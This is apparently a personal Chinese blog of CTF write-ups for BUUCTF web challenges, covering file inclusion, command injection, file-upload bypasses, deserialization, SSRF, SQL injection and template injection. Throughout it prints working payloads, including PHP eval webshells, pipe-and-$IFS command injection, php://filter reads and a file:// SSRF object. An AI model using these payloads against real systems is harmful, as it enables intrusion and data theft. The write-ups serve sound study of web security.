buu刷题记录


记录一下自己buu的刷题进度,留下点wp方便以后看

[HCTF 2018]WarmUp

image-20210404004946660

进入后看到滑稽表情,查看源码看到有source.php

image-20210404005053754

看到php代码

要求传入一个字符串类型的file,且需满足class emmm中的条件

<?php
  highlight_file(__FILE__);
  class emmm
  {
    public static function checkFile(&$page)
    {
      $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
     判断传入的参数是否为空,且是否为string类型
      if (! isset($page) || !is_string($page)) {
        echo "you can't see it";
        return false;
      }
	判断传入的参数中是否有白名单内的内容
      if (in_array($page, $whitelist)) {
        return true;
      }
	mb_substr()函数切割参数从0到第mb_strpos()函数返回的数值
      $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
      );
       判断切割后的参数是否在白名单中
      if (in_array($_page, $whitelist)) {
        return true;
      }
	   切割后的参数经过url解码后再进行一次过滤
      $_page = urldecode($page);
      $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
      );
      if (in_array($_page, $whitelist)) {
        return true;
      }
      echo "you can't see it";
      return false;
    }
  }

  if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
  )
      if内为真时进行文件包含
  {
    include $_REQUEST['file'];
    exit;
  } else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  } 

由于hint.php中提示flag在ffffllllaaaagggg中且whitelist中仅有source.php和hint.php

所以传入

file=hint.php?ffffllllaaaagggg

无回显

后多次利用../查看上级目录

最终payload为

file=hint.php?/../../../../ffffllllaaaagggg

image-20210404142347332

[极客大挑战 2019]Secret File

进入后看到这个界面

image-20210410152133426

查看源码可以找到Archive_room.php

image-20210410152211470

发现这个页面

image-20210410152300206

点击按钮后页面

image-20210410152324518

尝试抓包发现secr3t.php

image-20210410152351530

访问得到php代码

image-20210410152616564

是文件包含,flag在flag.php中,过滤了../,tp,input,date.

利用php://filter绕过

image-20210410153820003

构造file=php://filter/read=convert.base64-encode/resource=flag.php

image-20210410152727528

base64解码后得到flag

image-20210410152820778

基础验证

image-20210404144522877

进入后猜测用户名为admin

密码为123456进行抓包

image-20210404144619135

发现存在一行Authorization: Basic YWRtaW46MTIzNDU2

猜测YWRtaW46MTIzNDU2为base64加密;进行解码

image-20210404144840955

尝试通过bp用附件中的密码进行爆破,

为密码添加前缀为admin:且要进行base64加密的规则

image-20210404144928995

爆破后发现存在一个长度不同与其他包的

image-20210404145023203

进行发包查看其响应可发现flag

image-20210404145146471

目录遍历

进入后发现有四个目录,

image-20210405225319518

依次寻找可找到flag.txt文件

image-20210405225337342

./ 表示当前目录
../ 表示父级目录
/ 表示根目录

目录遍历常见的是使用../来遍历目录

phpinfo

进入后为这种页面

image-20210405225956914

仔细查找后可发现flag

image-20210405230031564

备份文件下载-网站源码

image-20210405232649997

1.依次试试发现存在www.zip,下载压缩包后发现存在三个文件

image-20210405233727394

查看flag的文件后发现其中不存在flag

image-20210405233814619

尝试在网页中访问得到flag

image-20210405233847576

2.御剑扫描

image-20210406114539217

3.利用dirsearch工具扫描

python dirsearch.py -u http://challenge-c5753b902359b43f.sandbox.ctfhub.com:10080/ -e*

image-20210406122908681

bak文件

进入页面后

image-20210412145718899

于是查看/index.php.bak

得到文件

image-20210412145809693

vim缓存

image-20210412200444012

所以查看.index.php.swp可得到文件

image-20210412150945950

之后在Linux系统中用命令

vim -r index.php.swp打开

image-20210412195651269

.DS_Store

根据题目查看后缀.DS_Store

得到一个文件

用记事本就可以查看看到

image-20210416154742543

可得到flag

image-20210416154816094

git泄露 log

题目中为git泄露可直接在后缀后加/.git

也可用dirsearch扫

用githack进行查看(百度里有几个githack没有办法用,弄了一下午)

githack要用python2

image-20210416233409173

得到一个文件夹进入后用git bash打开

利用git log可以查看历史提交记录

看到有init ,add flag,remove flag三次提交记录

猜测flag在add flag中,用git diff命令对比与add flag的差别,可得到flag;

image-20210416233631773

[ACTF2020 新生赛]Exec

查看源码后不存在提示,尝试ping 127.0.0.1

ping通后再尝试ping 127.0.0.1|ls 看到index.php

image-20210417000733167

多次用../查看上级目录 看见有flag文件

image-20210417000956928

尝试查看127.0.0.1|cat ../../../flag

得到flag

image-20210417120814848

也可以用cat /flag

题目利用了命令执行

管道符

1、|(就是按位或),直接执行|后面的语句

2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

3、&(就是按位与),&前面和后面命令都要执行,无论前面真假

4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

5、Linux中  ; 前后都执行,无论前面真假,同&,

[ACTF2020 新生赛]Include

题目是include猜测是文件包含;

点击tips后跳转到了file=flag.php

image-20210417122756590

用php://input时提示

image-20210417122817720

然后尝试用php://filter

构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20210417122714033

最后用base64解码就能得到flag

[极客大挑战 2019]Knife

文件可上传
知道文件上传的路径
上传文件可以被访问
上传文件可以被执行

进去看到这个界面感觉是一句话木马,然后用菜刀连接

image-20210417210105533

试一下

image-20210417210447264

连接成功

image-20210417210315253

然后在根目录下发现flag的文件,进入后找到flag

image-20210417210429525

[极客大挑战 2019]Http

进去后看到是个广告页,直接查看源码

image-20210418123059855

发现有个Secret.php,进入之后

image-20210418123139740

用bp抓包然后先加个Referer: https://www.Sycsecret.com

image-20210418124012851

看到要用Syclover 浏览器

所以把User-Agent里的内容改成User-Agent: Syclover

image-20210418124154554

提示要本地访问

所以加个X-Forwarded-For:127.0.0.1(我下了个fakeip的插件)

image-20210418125120122

http请求报头

请求报头通知服务器关于客户端求求的信息,典型的请求头有:

X-Forwarded-For 是一个 HTTP 扩展头部。用来表示 HTTP 请求端真实 IP。

Referer:表示这是请求是从哪个URL进来的

Host:请求的主机名,允许多个域名同处一个IP地址,即虚拟主机

User-Agent:发送请求的浏览器类型、操作系统等信息

Accept:客户端可识别的内容类型列表,用于指定客户端接收那些类型的信息

Accept-Encoding:客户端可识别的数据编码

Accept-Language:表示浏览器所支持的语言类型

Connection:允许客户端和服务器指定与请求/响应连接有关的选项,例如这是为Keep-Alive则表示保持连接。

Transfer-Encoding:告知接收端为了保证报文的可靠传输,对报文采用了什么编码方式。

[GXYCTF2019]Ping Ping Ping

进入后先根据题目试一下?ip=127.0.0.1

image-20210418145218124

再用ls查看发现存在flag.php和index.php两个文件

image-20210418145306532

尝试直接查看flag.php发现空格被过滤

image-20210418145349850

绕过空格方式

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换

$IFS是bash中的内部域分隔符,可以代替空格至于后面的$9数字是可以随意的

发现利用$IFS$1可以绕过,但flag也被过滤了

image-20210418145543298

于是先查看index.php

image-20210418145608672

百度之后找到一种利用内联的payload

?ip=127.0.0.1;cat$IFS$1 `ls`

将反引号内命令的输出作为输入执行

image-20210418150550054

GXYCTF2019]Ping Ping Ping 做题总结_孙得劲的博客-CSDN博客

[GXYCTF2019]Ping Ping Ping {命令执行总结}_昂首下楼梯的博客-CSDN博客

一些其他的绕过方式

[RoarCTF 2019]Easy Calc

进入后是个计算器,查看源码后发现

image-20210424173536708

查看calc.php看到php代码

image-20210424173603735

看到过滤掉了很多字符

尝试传入参数发现仅能传入数字

image-20210424174247126

百度后得知这里设置了waf

可以利用php在解析字符串时会删除空白符并将某些字符转换为下划线的特性绕过

所以尝试在num前加空格

image-20210424174652548

绕过成功

接下来尝试构造命令得到flag

image-20210424175021538

利用scandir函数可读取目录

由于/被过滤

所以利用chr函数绕过

构造

[node3.buuoj.cn:26183/calc.php? num=print_r(scandir(chr(47)))](http://node3.buuoj.cn:26183/calc.php? num=print_r(scandir(chr(47))

得到

image-20210424175958985

看到有个f1agg

利用readfile或者file_get_contents查看这个文件

? num=print_r(file_get_contents(chr(47).f1agg))

image-20210424180753601

[极客大挑战 2019]Upload

先做个一句话木马,上传后显示

image-20210424222521044

image-20210424184048567

用bp抓包然后修改Content-Type为image/jpeg

Content-Type(内容类型),一般是指网页中存在的 Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件,

image-20210424191606823

image-20210424184352223

放包后又显示不能为php

百度得知绕过后缀的有文件格式有php,

,php4,php5,phtml.pht

试一试

发现可用phtml绕过

但又提示

image-20210424184937815

把文件内容改为

image-20210424191120947

又提示

image-20210424191418367

在一句话木马前加个文件头GIF89a(GIF89a图片头文件欺骗)

Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

GIF89a

上传成功

猜测上传地址为/upload/

菜刀连接

image-20210424190843452

在根目录下找到flag

image-20210424190943560

[ACTF2020 新生赛]Upload

文件上传,先传个一句话木马试试

弹出js,

image-20210424215707910

看一下源码

image-20210424215933835

把这个事件remove掉

上传后又提示

image-20210424215102729

试试改改后缀名,发现phtml可以成功上传

菜刀连接

image-20210424221314425

在虚拟终端中利用cat命令找到flag

image-20210424221437332

[ACTF2020 新生赛]BackupFile

根据题目得知有.bak的备份文件,访问一下index.php.bak得到备份文件

image-20210424230600364

代码审计可知要传入key的值与str的值相等,且key只能为数字类型

因为==是弱类型比较,根据php的性质可传入?key=123

得到flag

[极客大挑战 2019]BuyFlag

到payflag的页面发现有两个条件

image-20210424234920389

查看源码

image-20210424235003731

抓个包

image-20210424235104576

将user改为1可满足第一个条件

image-20210424235148397

之后要以post方式传入一个值令其等于404且不能为纯数字

所以post password=404a

image-20210424235248917

提示要pay for the flag

猜测要post进money=100000000

传入后提示数字过长

image-20210424235409212

采用科学计数法,得到flag

image-20210424235455547

[SUCTF 2019]CheckIn

进入后看起来像是上传一句话木马的题

先传一个正常的

image-20210501165659496

提示illegal suffix!非法后缀

改个后缀名试试

改成.jpg文件后成功绕过,但又提示<? in contents!

猜测<?被过滤了

修改后

image-20210501165911275

最后再加个GIF89a文件头,绕过最后一个exif_imagetype函数的检测

虽然成功上传了但菜刀无法连接

百度一下wp

.user.ini

 1、auto_prepend_file 在页面顶部加载文件
 2、auto_append_file 在页面底部加载文件

某网站限制不允许上传.php文件,可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。在含有.user.ini的文件夹下要有正常的php文件

再上传一个.user.ini

image-20210501170533467

上传后我们访问此目录下的任何一个文件时,都会去包含first.jpg,

根据其返回的地址用菜刀连接

image-20210501174943263

找到flag

image-20210501174705927

[ZJCTF 2019]NiZhuanSiWei

image-20210501204543745

看见file_get_contents(),利用伪协议data://text/plain;base64绕过

再利用php://filter读取useless内的内容

解码后

image-20210501183046395

可知flag在flag.php中

试图让file=flag.php

看到unserialize函数,利用php反序列化

构造payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20210501205224647

查看源码找到flag

image-20210501205239104

[极客大挑战 2019]PHP

页面中提示有备份文件,御剑扫一遍

找到存在www.zip

image-20210501220739803

重点在class.php和index.php中

image-20210501220309908

image-20210501220857753

所以要传入一个select参数,利用反序列化让username=admin

password=100

因为username和password两个为private类型

所以有隐藏的空格符

select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}"

image-20210501220212731

[MRCTF2020]你传你🐎呢

先传个.htaccess文件,为了解析图片码

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
SetHandler application/x-httpd-php 
//该语句作用是让Apache将其他类型文件均以php格式解析

再传个一句话木马,然后bp抓包

image-20210502142204069

只有将其改为图片的类型才能成功上传

image-20210502141437234

根据返回的路径用菜刀连接

image-20210502141422576

[MRCTF2020]Ez_bypass

进入后代码审计

先get进两个md5值相等的内容

md5无法处理数组,会返回NULL,使其相等

再根据php的特性post进passwd=1234567a绕过if

获得flag

image-20210502172416595

[护网杯 2018]easy_tornado

从提示可以看出来这个tornado是一个python的模板,在web使用的时候给出了四个文件,可以访问,从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5(cookie_secret + md5(filename))); flag文件名题目已给出 /fllllllllllag

image-20210723131705440

所以要做的就是要获得到cookie值

这里是采用模板注入的方式

image-20210723132903953

这里可以猜出来存在模板注入漏洞而且应该存在过滤

然后百度看一下wp

在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,具体定义可以[参考Tornado官方文档](http://tornado.readthedocs.org/en/latest/guide/templates.html#template-syntax)!

image-20210723135655762

image-20210723135914756

所以可以利用这个来读取cookie_secret

image-20210723140608282

然后对其进行md5加密就能得到flag了

image-20210723135951327

[HCTF 2018]admin

HCTF2018-admin_迷风小白-CSDN博客

注册个账户登录后可以在修改密码页面的源码注释中找到提示

查看可以找到题目源码

一、 session伪造

flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的

image-20210723164939605

找到session后利用py脚本进行解码

image-20210723163354906

依照题意可以猜测只有用admin账户登录才能得到flag,所以要伪造session来使我们被认为是admin账户

重新编码session时需要用到secret_key可以在config.py中找到

image-20210723163710686

伪造session

image-20210723163828745

修改后刷新页面得到flag

image-20210723164748497

二:Unicode欺骗

代码审计可以看出在登录注册和修改密码时都存在用户名的小写转换

image-20210723165801699

看一下strlower

image-20210723170037720

Twisted版本为10.2.0,而目前(2020/10/28)Twisted最新版本已有20.3.0,这里使用的版本非常旧
10.2.0版的nodeprep.prepare()对一些特殊的Unicode编码处理后会得到一个正常的字符。可以知道当使用了nodeprep.prepare()函数之后,如果我们先使用unicode的编码的字符,比如说 ᴬ ,使用该函数之后,他会先变成大写的A,再使用一次就会变成小写的a。

所以可以注册一个ᴬᴰᴹᴵᴺ用户再通过登录和修改密码两次令其变为admin

Basic Latin — ✔️ ❤️ ★ Unicode Character Table (unicode-table.com)可以从这个网站查字符

image-20210723172720848

image-20210723172812674

这里登录之后进行修改密码,则通过小写转换就会变为修改admin账户的密码

image-20210723181917454

三、弱密码

用户admin密码为123

爆破或者试一试就能试出来密码

[BJDCTF2020]Easy MD5

进入后只有一个提交框,没啥思路,先用bp抓个包

image-20210723205715453

看见有个hint

select * from 'admin' where password=md5($pass,true)

image-20210723205633361

然后猜这里应该要利用sql注入的,但我不会了x

看了一下说是要用ffifdyop来绕过,因为这个字符串经过md5之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6

就会构成万能密码

image-20210723210730068

成功进入下一步,先查看源码

image-20210723210837745

利用md5不能处理数组会返回null的特性就能绕过,接下来进行代码审计

image-20210723210915141

同样可以利用md5不能处理数组的特性

image-20210723211130123

[网鼎杯 2018]Fakebook

先join一下,然后源码里有

image-20210724215234506

这里过滤了union select 中间可以加个注释符来当空格来绕过去

这个页面存在注入点,

有两种方法,一种是直接sql读文件,另一种是ssrf

一.

借助联合查询可以看到user()是root,所以直接猜文件位置

image-20220427222358992

image-20220427222419307

二.

sql注入查到底,最终可以查到这些

image-20210724221156289

这里能看出来data是个序列化后的结果,但是不知道有什么用

看一眼这个

image-20220427223617802

解码之后发现是百度首页的源码

然后扫一下发现

有robots.txt备份文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

好,看不懂了(

抄一下别人的分析

<?php
 
 
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
 
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
 
    function get($url)
    {
        $ch = curl_init();
        /*curl_init():初始化一个 cURL 会话并且全部的选项都被设置后被调用*/
 
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        /*
            curl_setopt — 为给定的cURL会话句柄设置一个选项。
                说明:
                    bool curl_setopt ( resource $ch , int $option , mixed $value )
                参数:
                    ch:由 curl_init() 返回的 cURL 句柄。
                    option:需要设置的CURLOPT_XXX选项。
                    value:将设置在option选项上的值。
                    对于下面的这些option的可选参数,value应该被设置一个bool类型的值:
                        CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
                    对于下面的这些option的可选参数,value应该被设置一个string类型的值:
                        CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。
                         
                         
                        ###################
                        文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流
        */
        $output = curl_exec($ch);
        /*curl_exec :执行 cURL 会话*/
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        /*
            curl_getinfo — 获取一个cURL连接资源句柄的信息
                说明:
                       mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )获取最后一次传输的相关信息。
                参数:
                      ch 由 curl_init() 返回的 cURL 句柄。
                      opt:这个参数可能是以下常量之一:
                            CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
        */
         
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
 
        return $output;
    }
 
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
 
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
    
    cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。
    cURL还包含了用于程序开发的libcurl。
PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
	libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
	PHP中使用cURL实现Get和Post请求的方法
	这些函数在PHP 4.0.2中被引入。
 

新知识:这里利用了ssrf漏洞

SSRF漏洞攻击原理及防御方案 - FreeBuf网络安全行业门户

SSRF 漏洞记录_发哥微课堂-CSDN博客

SSRF漏洞(原理&绕过姿势) - T00ls.Net

SSRF(Server-Side Request Forgery)也属于应用层上的一个漏洞类型,用一个最简单的例子来理解这个漏洞:比如一个添加图文的功能,填入标题内容和封面图然后提交在网站前台显示,对于这个功能的图片它除了可以让你上传以外,还支持填入远程图片地址,如果你填入了远程的图片地址,则该网站会加载远程图过来进行显示,而如果程序写法不严谨或者过滤不严格,则加载图片地址的这个功能可能就可以包含进行一些恶意的脚本文件,或者你输入内网的 ip 或者一些系统的文件都会被解析执行,这个我们一般叫它 SSRF 即服务端请求伪造。

curl 使用的经典过程,初始化,然后设置访问的地址,随后执行,最后关闭。

将URL换成file://的形式,就可以读取本地文件。

这里我们要访问的是flag.php,所以按照之前sql注入得出来的序列化内容进行修改

image-20210724225352853

最终payload为

?no=-1%20union/**/select 1,(select%20group_concat(no,username,passwd,data)%20from%20users),3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:27:"file:/var/www/html/flag.php";}'

看一下源码,找到flag

image-20210724225327036

image-20210724225342961

[GXYCTF2019]BabyUpload

这个和之前一个文件上传的题差不多,上传时过滤了ph后缀名,所以要上传个图片马,同时还要上传个.htaccess文件解析图片马,用bp抓包把类型改成image/jpeg就行

然后菜刀连一下在根目录里就能找到flag

image-20210803230538636

[BUUCTF 2018]Online Tool

先直接贴参考的文章了

BUUCTF 2018]Online Tool_题解_风过江南乱的博客-CSDN博客

[BUUCTF 2018]Online Tool_沐目的博客-CSDN博客

谈谈escapeshellarg参数绕过和注入的问题 (lmxspace.com)

PHP escapeshellarg()+escapeshellcmd() 之殇 (seebug.org)

BUUCTF 2018]Online Tool - nmap\escapeshellarg与escapeshellcmd连用_M4xlmum的博客-CSDN博客

先是代码审计,又是没见过的东西

image-20210804001517374

第一个if语句好像没啥用

在PHP 中使用 $_SERVER["REMOTE_ADDR"] 来取得客户端的 IP地址,但如果客户端是使用代理服务器来访问,那取到的就

是代理服务器的 IP 地址,而不是真正的客户端 IP 地址。要想透过代理服务器取得客户端的真实 IP 地址,就要使用

$_SERVER["HTTP_X_FORWARDED_FOR"] 来读取。

不过要注意的事,并不是每个代理服务器都能用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取客户端的真实IP,有些用此

方法读取到的仍然是代理服务器的 IP。

第二个if语句是要求传入一个参数然后利用escapeshellarg和escapeshellcmd两个函数的漏洞实现system命令执行

escapeshellarg,会在字符串中所有的单引号(包括成对存在闭合的)前添加一个'\' ,若已经用\转义,则会用'\'`替换\,最后将整个变量用单引号包裹。

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF。’ 和 “ 仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

这个漏洞类似这种

image-20210804005109985

mkdir命令是Linux中的新建文件夹

chdir改变目录

最后就是system的命令执行了,这里面是nmap的一些命令

-T5 :扫描等级,越大越快,越快越不安全,最好设置为-T4

-sT :TCP connent 扫描,不太安全(留下记录信息),而且速度较慢,一般先使用-sS测试

-Pn :禁用ping

-host-timeout 2:设置扫描一台主机的时间,以毫秒为单位。

-F :快速扫描模式,只扫描在nmap-services文件中列出的端口。

-oG test.txt: 将扫描结果生成 test.txt 文件

接下来就是想办法利漏洞给里面传入一个一句话木马

payload

'<?php eval($_POST["a"]);?> -oG 1.php '

然后经过escapeshellarg和escapeshellcmd两个函数就会变成类似这种

' '\\''\<\?php eval\(\)\;\?\> -oG 1.php '\\'' '

这里单引号都闭合了不会影响到传入的一句话木马

之后就可以用菜刀连接找flag了

image-20210804004604659

e9612257fa1c5134d014e95a7440d357

这是上传后的地址

菜刀连一下http://d26a51d3-a34a-46e5-9be3-80b3a129befb.node4.buuoj.cn/ e9612257fa1c5134d014e95a7440d357/1.php

根目录找到flag

image-20210804004814988

[RoarCTF 2019]Easy Java

首先是个登录框

image-20210808124202495

看一下help的内容

image-20210808124233134

试试抓包然后改一下请求方式后会下载一个word文档,没啥用

image-20210808124659707

这里是WEB-INF/web.xml泄露

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

漏洞成因

通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!

漏洞利用

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

所以先访问一下WEB-INF/web.xml

image-20210808125056946

这个路径com.wm.ctf.IndexController应该和flag有关

所以试试访问一下

image-20210808131605144

看到有块类似base64

解码得到flag

image-20210808131703878

[GXYCTF2019]禁止套娃

GXYCTF2019]禁止套娃_TzZzEZ-web的博客-CSDN博客

GXYCTF2019]禁止套娃 - 王叹之 - 博客园 (cnblogs.com)

题目存在git泄露,用GitHack扫一下得到源码

image-20210808134953571

可以猜到这里利用了eval进行命令执行,但是过滤了很多东西

1.需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
2.过滤了常用的几个伪协议,不能以伪协议读取文件。
3.(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
4.正则匹配掉了et/na/info等关键字,很多函数都用不了。
5:eval($_GET['exp']); 典型的无参数RCE

PHP Parametric Function RCE · sky's blog (skysec.top)关于无参数rce

首先要读取目录内容,

可以用print_r(scandir('.'));

但是因为不能传参,所以要想把.用函数代替

这里有两个函数可以利用

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值

所以current(localeconv())永远是个.

也就可以用print_r(scandir(current(localeconv())));来读目录

image-20210808142444979

可以看到flag就在flag.php中

现在要想办法把它读出来

这里可以利用array_reverse()和next函数

通过array_reverse() 函数返回翻转顺序的数组。
(反转之后flag.php被放在第二个数组之中)
next() 函数将内部指针指向数组中的下一个元素,并输出。
payload为:

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

image-20210808144017189

也可以利用

array_flip()交换数组的键和值

array_rand()从数组中随机取出一个或多个单元

最后再利用readfile函数读出文件或者用show_source让它高亮显示

image-20210808144253823

由于array_rand是随机的,所以要多刷新几次才可能会显示flag.php的内容

[GWCTF 2019]我有一个数据库

御剑是真的不好用。。。phpmyadmin路径死活扫不出来

image-20210808154118587

image-20210808150229023

这里phpmyadmin版本是4.8.1

由于phpmyadmin4.8.0-4.8.1存在文件包含漏洞

直接用payload打

?target=db_datadict.php%253f/../../../../../../../../flag

image-20210808150605205

[BJDCTF2020]The mystery of ip

这道题第一眼看上去像是本地访问的题目

但是hint有感觉不太像

image-20210808201950916

抓包修改xff头后就没思路了,查了一下发现是smarty模板注入

image-20210808202158856

看到这里支持逻辑运算,可以直接解析,所以就可以利用系统命令来读flag

image-20210808202307003

image-20210808202546370

Smarty SSTI利用

(1条消息) PHP的模板注入(Smarty模板)_WHOAMIAnony的博客-CSDN博客_smarty模板注入

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。

漏洞确认

一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。

image-20210808202952019

常规利用方式

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。

{literal} 标签

{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

若该题环境为php5,则可以

<script language="php">phpinfo();</script>

静态方法

通过self获取Smarty类再调用其静态方法实现文件读写被网上很多文章采用。

在3.1.30的Smarty版本中官方已经把该静态方法删除

{if}标签
官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}

image-20210808203333956

[BJDCTF2020]ZJCTF,不过如此

第一部分

image-20210809002920929

可以用伪协议读取,但是不知道为什么我用hackbar时没成功

image-20210808225403216

也可以用这个payload

text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

base64解码

image-20210808225453870

当pattern传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行。思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。

深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)

这里第二个参数固定为strtolower("\\1")这里的\\1实际上体现为\1

\1 在正则表达式中有自己的含义:

反向引用
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问

这里的\1指的是第一个匹配项

这里我们就要利用这个漏洞来运行getflag函数,并同时给cmd传参,利用system来执行命令

为了实现运行getflag的目的,就要先让\1为getflag(),也就是传入

.*={${getFlag()}}

原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
